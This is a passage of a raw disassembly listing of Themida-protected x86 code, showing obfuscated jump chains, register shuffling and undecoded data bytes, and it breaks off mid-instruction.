Themida_:00561313j and eax, 15F9370Ch shr eax, 8 shl eax, 2 sub eax, offset byte_5280C7 add ecx, eax pop eax push 0 sub [esp], ecx jmp loc_563203 ; --------------------------------------------------------------------------- dd offset loc_409467+1 dd 0C69E900h, 9CB50000h, 5966EB20h, 8004EBC0h, 2CE9C2F3h dd 0F7FFFF24h, 0A3C281DAh, 89D425A4h, 0A9AAE9D5h, 0E95CFFFFh dd 0FFFFDAF5h, 0FEE292E9h, 243487FFh, 5945E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562CD6: ; CODE XREF: Themida_:00553B74j mov ecx, [esp] add esp, 4 add ebx, eax sub ebx, 3B686EE0h sub ebx, 2AEC4A1Ch mov eax, [esp] jmp loc_55F16F ; --------------------------------------------------------------------------- db 81h, 0E9h, 28h dd 5062212h, 46F430E7h, 0E72DC801h, 5946F430h, 55240C8Bh dd 8904EC83h, 0BA522424h, 4, 4245401h, 5A37E95Ah, 0E95FFFFFh dd 1526h, 0B1515A2Ch, 59C82808h, 3E3A68h, 241C8900h, 0F0E990B3h dd 0B3FFFF5Fh, 1EB753A1h, 0FD30ABB5h, 5BDD305Bh, 5EE95904h dd 68FFFEE3h, 48D4h, 0FF0CE0E9h, 81F780FFh, 0E95BF800h dd 0FFFF8FC4h, 0E9243489h, 0FFFF548Bh, 0B7241C89h, 0F23BE987h dd 0E7B8FFFFh, 483A443Ah, 25A7E9h, 3E1C000h, 0FF99A4E9h dd 241487FFh, 0E924248Bh, 0FFFFEEDDh ; --------------------------------------------------------------------------- loc_562D98: ; CODE XREF: Themida_:0055FA8Cj mov ebx, 4 add edx, 39612722h sub edx, 40CB24E5h jmp loc_5658C0 ; --------------------------------------------------------------------------- dw 92BAh dd 5653140Eh, 6969BFBEh, 55F6814Eh, 0F7441978h, 81D6F7DEh dd 0B84D61EEh, 81EED101h, 5BE243EEh, 16AE904h, 3988FFFFh dd 0D4E1E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DDE: ; CODE XREF: Themida_:00564FD5j pop eax push eax mov eax, 57287255h sub eax, 0FAF0ACAh add ecx, eax jmp loc_56081C ; --------------------------------------------------------------------------- db 97h, 81h, 0CFh dd 44B87F5Fh, 3527CF81h, 0D7F7646Eh, 0FF113DE9h db 0FFh ; --------------------------------------------------------------------------- loc_562E05: ; CODE XREF: Themida_:005530E8j shr eax, 5 not eax xor eax, 0FF87844Bh add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 6 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_563527 ; --------------------------------------------------------------------------- loc_562E36: ; CODE XREF: Themida_:0055DAB4j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55FC5A ; --------------------------------------------------------------------------- loc_562E47: ; CODE XREF: Themida_:0055AC34j pop esp and eax, ebx mov ebx, [esp] push eax mov eax, esp push 2699h mov [esp], ecx mov ecx, 0A960468h xchg eax, ecx inc eax xchg eax, ecx push ecx sub esp, 4 mov [esp], ebx mov ecx, [esp] add esp, 4 pop ebx not ebx jmp loc_56421C ; --------------------------------------------------------------------------- loc_562E7B: ; CODE XREF: Themida_:00557520j xor edi, ebp pop ebp xor eax, edi mov edi, [esp] add esp, 4 dec eax sub eax, 1D864264h push eax push ebx mov ebx, 6A322310h jmp loc_5590C3 ; --------------------------------------------------------------------------- loc_562E98: ; CODE XREF: Themida_:005637B9j add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx jmp loc_5515B7 ; --------------------------------------------------------------------------- byte_562EAB db 64h ; DATA XREF: Themida_:00550E70o db 66h, 8Bh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_564676 ; --------------------------------------------------------------------------- loc_562EB7: ; CODE XREF: Themida_:0056201Bj add edi, 4 add edi, 4 jmp loc_5614D4 ; --------------------------------------------------------------------------- loc_562EC8: ; CODE XREF: Themida_:005593ABj pop eax jmp loc_553CE4 ; --------------------------------------------------------------------------- dw 0D388h dd 2434FF5Ah, 4C48359h, 0FFAF98E9h, 74FF52FFh, 8F5A0424h dd 248B2404h, 24048F24h, 0C8BE0F5Ch, 722468h, 240C8900h dd 0FEE062E9h, 24148BFFh, 8F04C483h, 248B2404h, 24148924h dd 42474FFh, 0E6EE9h, 4EC8300h, 24048F54h, 4240483h, 4EC8359h dd 0BB241C89h, 5C221A73h, 68h, 7489E900h, 0BB53FFFFh, 57CB611Eh dd 0AAE9F387h, 81FFFF76h, 2245C1EFh, 0C5BE5622h, 116E1FDh dd 0C1815EF7h, 745641B2h, 0E981F901h, 745641B2h, 21ADE9h dd 242C8B00h, 904C483h, 0EF6858C7h, 89000001h, 0CEB9240Ch dd 8173BE58h, 9A7041E1h, 0BFF1814Fh, 1BC65AFh, 0D7F759CFh dd 0D28BBB53h, 0C7810C56h, 28A16615h, 0FFB923E9h, 0CDD68FFh dd 34890000h, 2414F724h, 0B9B9515Eh, 8169667Fh, 0D67494E1h dd 17F18136h, 109A00Eh, 0FF5659CEh, 0E95E240Ch, 0FFFEEFE3h ; --------------------------------------------------------------------------- loc_562FC8: ; CODE XREF: Themida_:00565515j mov esp, [esp] push esi push 7937h mov [esp], ebp push edi sub esp, 4 mov [esp], edx jmp loc_56234C ; --------------------------------------------------------------------------- dd 73D8EF81h, 0EF8131B3h, 0FFFFFFFFh, 8410EF81h, 0E981B071h dd 14FB09BEh, 1690E9h, 5D8F700h, 5EAA1F55h, 5855E981h dd 0C1017C19h, 5855C181h, 0B8E97C19h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563017: ; CODE XREF: Themida_:0055C061j pop edi jmp loc_555D96 ; --------------------------------------------------------------------------- db 88h, 0E2h, 58h dd 0F280C2FEh, 0A0B3531Ch, 0F65BDA30h, 4E2C0D2h, 288EB151h dd 0C38059CAh, 0E9D32853h, 0FFFF666Bh ; --------------------------------------------------------------------------- loc_563040: ; CODE XREF: Themida_:0055ACA2j add eax, 29137C5h pop esi add eax, 108409C7h sub eax, edx sub eax, 108409C7h sub eax, 2CBA5D5Bh pop edx sub esp, 4 mov [esp], eax mov eax, 2F1D736Dh add ebx, 2AEC4A1Ch push ecx mov ecx, 70CD428Ch sub ecx, 3564D3ACh sub ebx, 152A606Ah jmp loc_553B6C ; --------------------------------------------------------------------------- loc_563083: ; CODE XREF: Themida_:00552004j pop dword ptr [esp] pop esp or [esp], ax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_563091: ; CODE XREF: Themida_:0055EE58j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] jmp loc_5569BD ; --------------------------------------------------------------------------- db 5Fh dd 0D468h, 24048900h, 42474FFh, 24048F58h, 8924248Bh, 8BE92434h dd 80FFFF89h, 0DE2867F6h, 686E685Bh, 0C890000h, 8808B124h dd 7EB5E9CCh, 0FF66FFFFh, 0E99C240Ch, 0FFFF03F0h, 4EC81h dd 14890000h, 7FF2BA24h, 0CA81456Ah, 7E0372BEh, 159CEA81h dd 0C28152CBh, 0D35F95A2h, 5843E951h, 0EFD1FFFFh, 0FFA13FE9h dd 240C89FFh, 4B9h, 0EEEF8100h, 8141AD62h, 0F96CE1EFh dd 98F7E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563122: ; CODE XREF: Themida_:00556BDBj push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_5586E4 ; --------------------------------------------------------------------------- loc_563137: ; CODE XREF: Themida_:0055B1F5j sub ebp, eax pop eax add edx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp push eax push edx mov edx, 330130E7h push edx jmp loc_564770 ; --------------------------------------------------------------------------- word_56315A dw 34FFh ; DATA XREF: Themida_:00550CE4o dd 7B71E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563162: ; CODE XREF: Themida_:00565569j push 22F9h jmp loc_563FAD ; --------------------------------------------------------------------------- aWicsq db 'W┴ГИQ+',0 align 4 loc_563174: ; CODE XREF: Themida_:00554407j add al, ch pop ecx sub al, 0Ah xor cl, al pop eax xor al, cl jmp loc_556B48 ; --------------------------------------------------------------------------- byte_563183 db 0FFh ; DATA XREF: Themida_:00550D08o dd 669D1C77h, 24041058h, 58F4E99Ch, 0EE80FFFFh, 89C8E956h dd 0F568FFFFh, 8900000Ah, 4832424h, 0E95A0424h, 0FFFEFD29h dd 3104C483h, 0C1E952C3h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631B7: ; CODE XREF: Themida_:0055A84Fj add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_550F65 ; --------------------------------------------------------------------------- dw 0D3F7h dd 204568h, 241C8900h, 5B2414F7h, 0F514BE56h, 21E9B1D9h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5631E7: ; CODE XREF: Themida_:005522E7j not esi not esi inc esi push ebx push 60904B3Dh pop ebx xor ebx, 2FA941DFh shl ebx, 2 neg ebx jmp loc_553A63 ; --------------------------------------------------------------------------- loc_563203: ; CODE XREF: Themida_:00562C93j pop ecx xchg ebx, ecx not ebx xor ecx, ebx xor ebx, ecx jmp loc_5637AB ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h^\',0 align 2 dw 65E9h dd 5AFFFFD3h, 8B243C87h, 38E92424h db 0FCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56322B: ; CODE XREF: Themida_:0055AA70j add esp, 4 push edi mov edi, 4 add eax, 699B2D15h add eax, edi sub eax, 699B2D15h jmp loc_55F7A2 ; --------------------------------------------------------------------------- loc_563245: ; CODE XREF: Themida_:0055826Bj push edx mov edx, 4 jmp loc_5562F3 ; --------------------------------------------------------------------------- dd 0C380C300h, 40C3802Ch, 6814B050h, 0 dd 8A240428h, 0C4832404h, 52722C04h, 0EA80CCB2h, 5AD028EDh dd 0B1516A2Ch, 8751E9F7h db 2 dup(0FFh) word_56327E dw 2B68h ; DATA XREF: Themida_:00550CC8o dd 0E9000007h, 0FFFEFB77h, 5A5FF889h, 58C1895Bh, 5068C181h dd 0D901633Ah, 1D8FBD55h, 0E5810D44h, 112D7ADAh, 0FF5B2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5632A9: ; CODE XREF: Themida_:005619C5j mov ebp, [esp] add esp, 4 add ebp, 2E9F0902h add ebp, edx sub ebp, 2E9F0902h mov edx, [esp] add esp, 4 push eax mov eax, 2 add ebp, 49100F00h sub ebp, eax push edx mov edx, 49C77F3Ah neg edx xor edx, 51663004h jmp loc_55F09F ; --------------------------------------------------------------------------- db 51h dd 0FF94B9E9h, 71B353FFh, 0FF7079E9h db 0FFh ; --------------------------------------------------------------------------- loc_5632F5: ; CODE XREF: Themida_:005599FEj mov [esp], ebx jmp loc_5527BF ; --------------------------------------------------------------------------- db 56h, 0FFh, 74h dd 0C1E90424h, 81FFFFA0h, 0F364BEEEh, 0E9D6297Eh, 0FFFF8887h dd 5AA568h, 240C8900h, 6FE9E189h, 81FFFF38h, 4C4h, 69F78100h dd 1C1C8C2h, 48B5FFBh, 4C48124h, 53000000h, 42474FFh, 24048F5Bh dd 9840E95Ch, 0F681FFFFh, 0AD4D91E2h, 0FEE99CE9h, 0CCE950FFh db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56335B: ; CODE XREF: Themida_:0055ABA2j pop esp mov [esp], ebp jmp loc_55BE32 ; --------------------------------------------------------------------------- loc_563364: ; CODE XREF: Themida_:00559F1Ej dec edx jmp loc_55C839 ; --------------------------------------------------------------------------- word_56336A dw 83ACh ; DATA XREF: Themida_:00550E74o dd 1C8904ECh, 0E81AE924h, 0C059FFFFh, 0EBC004E3h, 68B55105h dd 0E907E5C0h, 0FFFF4046h, 6E1C141h, 0E902E9C1h, 0FFFFD016h dd 4A36CB81h, 0C3814C6Ch, 0E733A61Ch, 0CEE9DE89h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633A7: ; CODE XREF: Themida_:005522F3j pop ebx mov ebx, eax mov eax, [esp] jmp loc_557DD4 ; --------------------------------------------------------------------------- loc_5633B2: ; CODE XREF: Themida_:0055103Cj push esi jmp loc_551ECC ; --------------------------------------------------------------------------- loc_5633B8: ; CODE XREF: Themida_:0055DBA8j inc ebp add ebp, 3281EF17h sub ebx, 15D5787Ah jmp loc_55D67F ; --------------------------------------------------------------------------- loc_5633CA: ; CODE XREF: Themida_:005602DFj pop ecx add esp, 4 push 4C47h mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push ebx mov ebx, 3FE71695h push edi jmp loc_5535BA ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 265A46BFh, 4FDFF76Bh, 13B5B951h, 6E95047h db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56340F: ; CODE XREF: Themida_:00556BABj sub esp, 4 mov [esp], esi mov esi, 0 push esi jmp loc_55CAD1 ; --------------------------------------------------------------------------- loc_563420: ; CODE XREF: Themida_:00555C80j mov edi, esp jmp loc_562829 ; --------------------------------------------------------------------------- db 56h dd 1FC8E9h db 0 ; --------------------------------------------------------------------------- loc_56342D: ; CODE XREF: Themida_:0055ECA2j sub ebx, 75D12727h add eax, ebx pop ebx mov ebp, [esp] add esp, 4 jmp loc_55E8E0 ; --------------------------------------------------------------------------- dd 0EB819391h, 0F2AA8042h, 875BD801h, 0B7E92404h, 0BBFFFFACh dd 62BB653Ch, 6F8CF381h, 62E96F4Ah, 5AFFFFBEh, 240C335Eh dd 33240C31h, 248B240Ch, 243CD324h, 0DAE1E99Ch, 0F301FFFEh dd 0FF5E70E9h, 962CFFh, 96B753E8h, 665BF800h, 0E9D82859h dd 0FFFF7D41h ; --------------------------------------------------------------------------- loc_563498: ; CODE XREF: Themida_:005514F0j or edi, eax jmp loc_559CB0 ; --------------------------------------------------------------------------- db 81h dd 0F821E3CEh, 0E5EE8113h, 113FC61h, 47D1E9F2h, 0E089FFFFh dd 4C9EE956h, 0A068FFFFh, 8900000Ah, 0A8E9242Ch db 0E9h, 0FEh, 0FFh byte_5634C7 db 0ACh ; DATA XREF: Themida_:00550CB4o dd 7DFC68h, 241C8900h, 0FF4131E9h, 8BC801FFh, 8952240Ch dd 4C281E2h, 83000000h, 148704C2h, 0EC835C24h, 24148904h dd 0D3F63BAh, 8ECA8122h, 56105036h, 0FF970FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563501: ; CODE XREF: Themida_:0055595Bj sub eax, 6FF92F67h not eax dec eax jmp loc_552D08 ; --------------------------------------------------------------------------- loc_56350E: ; CODE XREF: Themida_:005526E9j inc eax jmp loc_558347 ; --------------------------------------------------------------------------- loc_563514: ; CODE XREF: Themida_:005542DAj add ecx, 4 jmp loc_55C98E ; --------------------------------------------------------------------------- db 89h dd 0E4E9241Ch db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563527: ; CODE XREF: Themida_:00562E31j mov esp, [esp] mov [esp], ebx push ebp mov ebp, 29A20FA3h push edx mov edx, 5EB11F25h sub dword ptr [esp+8], 10D44A69h sub [esp+8], edx push esi mov esi, 10D44A69h jmp loc_554E3B ; --------------------------------------------------------------------------- loc_563550: ; CODE XREF: Themida_:00558A76j add edi, 4 sub esp, 4 mov [esp], ecx push 3F551FBBh jmp loc_555E6D ; --------------------------------------------------------------------------- loc_563566: ; CODE XREF: Themida_:005613E1j add edx, 0F9B4ABh jmp loc_556AC4 ; --------------------------------------------------------------------------- loc_563571: ; CODE XREF: Themida_:00563E26j mov eax, 4 add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5602D5 ; --------------------------------------------------------------------------- db 0B9h dd 20F574F2h, 7E3FBD55h, 0C9E93C23h, 81FFFF88h, 4C7h, 243C3300h dd 0FF7421E9h, 4C681FFh, 56000000h, 42474FFh, 24048F5Eh dd 0E924248Bh, 0FFFFA249h, 0C15DEE87h, 69E904EEh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635C7: ; CODE XREF: Themida_:005514B2j pop ebp jmp loc_5540D3 ; --------------------------------------------------------------------------- loc_5635CD: ; CODE XREF: Themida_:00561B73j mov ebx, esp add ebx, 4 jmp loc_55EE3F ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 4870000h, 0F1F75C24h, 585268h, 24148900h dd 0E957E289h, 0FFFF1BE2h ; --------------------------------------------------------------------------- loc_5635FC: ; CODE XREF: Themida_:00555E0Ej xchg ebx, [esp] pop esp push ebp mov ebp, 48C0B96h shr ebp, 8 not ebp jmp loc_552A49 ; --------------------------------------------------------------------------- loc_563610: ; CODE XREF: Themida_:005530CCj push edx mov edx, 2280033h add ecx, edx jmp loc_553BDE ; --------------------------------------------------------------------------- loc_56361D: ; CODE XREF: Themida_:005641B1j push ecx push edx pop ecx pop edx push edx not dword ptr [esp] jmp loc_55A2ED ; --------------------------------------------------------------------------- dw 30E9h dd 5CFFFED9h, 0FF5C18E9h, 5E4C0FFh, 122DE9h, 0E4055C00h dd 128ED2Fh, 2FE42DD0h, 148B28EDh, 3711E924h, 3C87FFFFh dd 24248B24h, 0FF3DF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_56365D: ; CODE XREF: Themida_:00561FA0j push edi mov edi, 49CF0C93h and edi, 64F01755h xor edi, 40C00415h jmp loc_56382D ; --------------------------------------------------------------------------- loc_563674: ; CODE XREF: Themida_:0055AF99j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5599AB ; --------------------------------------------------------------------------- dd 1C8BDE01h, 0E2895224h, 4C281h, 0C2810000h, 4, 8B241487h dd 0E9512424h, 0FFFFC2B7h ; --------------------------------------------------------------------------- loc_5636A8: ; CODE XREF: Themida_:0055B62Ej and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 jmp loc_5546CF ; --------------------------------------------------------------------------- loc_5636BC: ; CODE XREF: Themida_:00555A51j add esi, edi pop edi push edx mov edx, 302E35EFh shr edx, 1 jmp loc_551CE0 ; --------------------------------------------------------------------------- dword_5636CC dd 240C8B66h, 455868h, 24148900h, 0C8685A54h, 89000003h ; DATA XREF: Themida_:00550D78o dd 4BF243Ch, 81000000h, 4F720BC2h, 4FC28123h, 17A995Ch dd 4FEA81FAh, 0E97A995Ch, 0FFFEF54Bh, 5C24048Fh, 75168h dd 240C8900h, 0FF1323E9h db 0FFh ; --------------------------------------------------------------------------- loc_563711: ; CODE XREF: Themida_:0055DE5Aj push dword ptr [esp] pop esi jmp loc_554911 ; --------------------------------------------------------------------------- loc_56371A: ; CODE XREF: Themida_:0055C088j push 47F26A89h jmp loc_55CC79 ; --------------------------------------------------------------------------- loc_563724: ; CODE XREF: Themida_:005581D4j mov ebx, 24h add ebx, edi xor [ebx], ecx pop ebx push edx mov edx, 24h add edx, edi xor ecx, [edx] jmp loc_557926 ; --------------------------------------------------------------------------- db 0BEh, 82h, 32h dd 0CCE9304Ah, 1FFFF96h, 27E95AD1h, 50FFFF39h, 4B8h, 24440100h dd 0BFE95804h, 66FFFF97h, 66926693h, 66526642h, 665A6655h dd 0DDF7665Dh, 0FF004FE9h, 0FCF380FFh, 0F6C2B551h, 0EFED80D5h dd 0FF0A4CE9h db 0FFh byte_563785 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:00550D94o dd 0FED7D2E9h db 0FFh byte_56378D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550C94o dd 0FF545224h, 525A2434h, 0C281E289h, 4, 8704C283h, 0A0E92414h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5637AB: ; CODE XREF: Themida_:0056320Cj xor ecx, ebx push edx mov edx, 0E948EADCh add ecx, edx pop edx add eax, ecx pop ecx jmp loc_562E98 ; --------------------------------------------------------------------------- loc_5637BE: ; CODE XREF: Themida_:00553FB0j push edx mov edx, 7A8A0971h jmp loc_555696 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5A04h, 24248B24h, 24148966h, 34C668h, 24048900h dd 0C28812B0h, 66D00058h, 40B7685Ah, 14890000h, 565A5424h dd 0FF537BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5637F9: ; CODE XREF: Themida_:005536A8j mov edi, 1DE31A7h sub edi, 43B46D80h jmp loc_55BE9E ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 55h dd 0F75F5D57h, 48D5E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563816: ; CODE XREF: Themida_:0055BE5Bj sub ecx, 1BE474BFh add ecx, edi add ecx, 1BE474BFh pop edi mov ebp, ecx pop ecx jmp loc_561566 ; --------------------------------------------------------------------------- loc_56382D: ; CODE XREF: Themida_:0056366Fj add ecx, edi pop edi xchg ecx, [esp] pop esp and ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp push 6AC2h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_5554D7 ; --------------------------------------------------------------------------- dd 4BF57h, 0FA010000h, 0FFDD24E9h db 0FFh ; --------------------------------------------------------------------------- loc_56386D: ; CODE XREF: Themida_:005535CCj mov [esp], ebx jmp loc_559442 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89243489h, 4C681E6h, 68000000h, 35A7h, 55243C89h, 0C5075868h dd 0E03DE96Eh, 0FE01FFFFh, 83243C8Bh, 0EC8304C4h, 24348904h dd 42474FFh, 8B2434FFh, 0C4832434h, 0E1895104h, 0FF5CAEE9h dd 0DCF658FFh, 0EC80ECD0h, 0C6B353FCh, 0E9F6C380h, 0FFFF5218h dd 8904EC83h, 5954240Ch, 1F52B850h, 0E9485EAAh, 0FFFFF71Dh ; --------------------------------------------------------------------------- loc_5638E0: ; CODE XREF: Themida_:00561EDFj xor eax, [esp] jmp loc_556BA3 ; --------------------------------------------------------------------------- dd 875BDF01h, 0F6E9243Ch db 0EFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5638F3: ; CODE XREF: Themida_:00554CA9j add esi, ebx pop ebx push 4345h mov [esp], ebx jmp loc_558796 ; --------------------------------------------------------------------------- db 59h dd 72E95904h, 89FFFF8Eh, 0BA52240Ch, 4, 0E95AD189h, 0FFFFAFD4h ; --------------------------------------------------------------------------- loc_56391C: ; CODE XREF: Themida_:00555180j mov ebx, eax jmp loc_55B26A ; --------------------------------------------------------------------------- db 59h dd 31240433h, 4332404h, 24248B24h, 55241489h, 0FF2AFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_563939: ; CODE XREF: Themida_:00558287j pop edi and edx, esi pop esi push eax mov eax, 18322036h sub edx, eax pop eax add ebx, edx jmp loc_55CD3B ; --------------------------------------------------------------------------- db 81h, 0EDh, 0BCh dd 4544FB33h, 6653ED81h, 0E90130EFh, 240C875Dh, 6295E95Ch dd 0C681FFFFh, 2E6172EEh, 623DEE81h, 0C68129FEh, 0F672DE0Fh dd 0D2E9F209h, 50FFFF5Ah, 0AD3916B8h, 0E9C52903h, 0FFFF3E83h dd 6850EE87h, 67F76676h, 0FF3F38E9h db 0FFh ; --------------------------------------------------------------------------- loc_563999: ; CODE XREF: Themida_:00554437j shr esi, 6 add esi, 3F6FE05h xor edi, esi pop esi not edi and edi, 783E0A23h sub edi, 58390A23h mov ebx, edi pop edi mov esi, ebx mov ebx, [esp] add esp, 4 jmp loc_557CFA ; --------------------------------------------------------------------------- db 0BFh dd 434F33B6h, 0BD55DFF7h, 48C3C738h, 0E95DEF29h, 0FFFFAFCFh dd 4C481h, 0BB530000h, 4, 0FF135BE9h, 240C8BFFh, 0FFB9FFE9h dd 0A7968FFh, 14890000h, 61B8BA24h, 0BF57524Eh, 2B9E3C05h dd 8105EFC1h, 0D71B67E7h, 4EC8340h, 0B8240489h, 24D764C0h dd 0EC83E0D1h, 242C8904h, 0FFDAE2E9h, 2434FFFFh, 4C4835Dh dd 8107EDC1h, 8C1695F5h, 8BEB217Bh, 0C483242Ch, 68D3F704h dd 37D5h, 68243C89h, 546BF2DAh, 0E9243C8Bh, 0FFFFC52Ch dd 0BE243489h, 72610199h, 4EC81h, 14890000h, 81E28924h dd 4C2h, 4EA8300h, 5C241487h, 56242C89h, 0C20672BEh, 4564BD09h dd 0F501340Ah, 0FFF052E9h, 0EC835CFFh, 2C896602h, 74FF6624h dd 8B660224h, 8950242Ch, 4EC81E0h, 89000000h, 4BA2414h dd 2D000000h, 2D1D01CCh, 0BF57D001h, 2D1D01CCh, 0FFE454E9h dd 240C8BFFh, 4C481h, 0C1810000h, 4, 4BD55h, 0C1E90000h dd 50FFFFE2h, 4711A668h, 0D1E9587Eh, 68FFFEF6h, 7CAh, 0BE243489h dd 7FAFA301h, 50E6E953h, 0D2F6FFFFh, 0C0DEF280h, 0E28002E2h dd 0CFEA800Ah, 805AD300h, 0B45040EBh, 0E9FC861Dh, 0FFFF944Eh dd 8324048Fh, 0FF042404h, 835E2434h, 0E95304C4h, 0FFFFF92Fh dd 1F6CC181h, 0F9293DAAh, 1F6CE981h, 585F3DAAh, 5C240C87h dd 0E9C0B60Fh, 0B82h, 4C5835Fh, 8904EC83h, 79E9242Ch, 59FFFFB4h dd 287CEB80h, 3B2C5BD8h, 572C9504h, 5704C800h, 53CE9h db 0 ; --------------------------------------------------------------------------- loc_563B69: ; CODE XREF: Themida_:0055708Cj mov [esp], esi push esp pop esi add esi, 4 push ecx push ebx push 16AA569Fh pop ebx jmp loc_55B36D ; --------------------------------------------------------------------------- loc_563B81: ; CODE XREF: Themida_:0055D54Bj push edx mov edx, esi mov ebp, edx pop edx jmp loc_560BD0 ; --------------------------------------------------------------------------- loc_563B8C: ; CODE XREF: Themida_:0055BC23j add esp, 4 add ebp, eax sub ebp, 4EDA1460h jmp loc_561C68 ; --------------------------------------------------------------------------- dword_563B9C dd 240C8B66h, 4EC8353h, 83242489h, 0C8904ECh, 0D3BB5324h ; DATA XREF: Themida_:00550D54o dd 0E9490249h, 0FFFF0403h, 0D158C189h, 88E956E1h, 59FFFFE6h dd 0C104C483h, 0EF8108E7h, 5CE6D6FCh, 34FF5E57h, 0C4815F24h dd 4, 1598E9h db 0 ; --------------------------------------------------------------------------- loc_563BE1: ; CODE XREF: Themida_:00552D3Bj xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 1Ch jmp loc_562771 ; --------------------------------------------------------------------------- dw 0C87h dd 0C28E924h, 34FF0000h, 71E95A24h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C03: ; CODE XREF: Themida_:005612D6j add esp, 4 push 5C0Ch jmp loc_556591 ; --------------------------------------------------------------------------- loc_563C10: ; CODE XREF: Themida_:0056293Cj sub ecx, 98ED207Ch mov ebx, ecx jmp loc_55D57F ; --------------------------------------------------------------------------- db 68h, 0DCh, 3 dd 0E95A1132h, 0FFFF04F3h ; --------------------------------------------------------------------------- loc_563C28: ; CODE XREF: Themida_:005533A9j mov eax, 3C7A5DECh add ebp, eax mov eax, [esp] jmp loc_55A6FB ; --------------------------------------------------------------------------- db 52h dd 88E6B151h, 0C68059CEh, 5AF4884Dh, 5866E108h, 2D46E950h dd 0D029FFFFh, 609EB951h, 0C82901A7h, 2434FF59h, 4C4815Ah dd 0E9000000h, 0FFFEF112h, 0F844E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C6E: ; CODE XREF: Themida_:0055F772j push edx jmp loc_55699E ; --------------------------------------------------------------------------- dd 2C8BE901h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_564AB9 ; --------------------------------------------------------------------------- loc_563C90: ; CODE XREF: Themida_:0055FC55j push eax mov eax, 761B083Ch or edx, eax pop eax push ebp jmp loc_558720 ; --------------------------------------------------------------------------- db 87h dd 8F5C241Ch, 248B2404h, 0CDBD5524h, 81170338h, 0CE34D8C2h dd 51EA0133h, 1258DEB9h, 0BAE9816Ah, 411D5D11h, 0FFB217E9h dd 2474FFFFh, 240C8B04h, 8F04C483h, 0C4E92404h, 68FFFF11h dd 31D9h, 0FF23FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_563CE5: ; CODE XREF: Themida_:00558783j pop esp mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and ecx, edi mov edi, [esp] jmp loc_55C961 ; --------------------------------------------------------------------------- dw 0E801h dd 74FF505Dh, 79E90424h, 0F6000007h, 0B60F66F9h, 586866CCh dd 0C896676h, 0B60F6624h, 9C5166C8h, 0FED236E9h, 241C89FFh dd 0FF6F46E9h, 0E1C166FFh, 0C9816607h, 0DEE93BF3h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D3F: ; CODE XREF: Themida_:00551F27j mov edx, 60D005B7h jmp loc_56252F ; --------------------------------------------------------------------------- db 81h, 0F3h, 0F4h dd 29759894h, 0C2015BDAh, 12B6B951h, 0E1812528h, 19CC0C93h dd 0E1C1D9F7h, 220BE908h, 0E95AFFFFh, 0FFFFC147h ; --------------------------------------------------------------------------- loc_563D70: ; CODE XREF: Themida_:00561FB0j neg eax jmp loc_555667 ; --------------------------------------------------------------------------- db 83h dd 0FF5A04C4h, 9BE92434h, 8BFFFF38h, 0C4832414h, 74A5E904h dd 0C22CFFFFh, 5351242Ch, 0FFEFA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_563D99: ; CODE XREF: Themida_:00551E9Aj push dword ptr [esp] jmp loc_555BDE ; --------------------------------------------------------------------------- loc_563DA1: ; CODE XREF: Themida_:0055698Fj xchg edx, esi push ecx mov ecx, 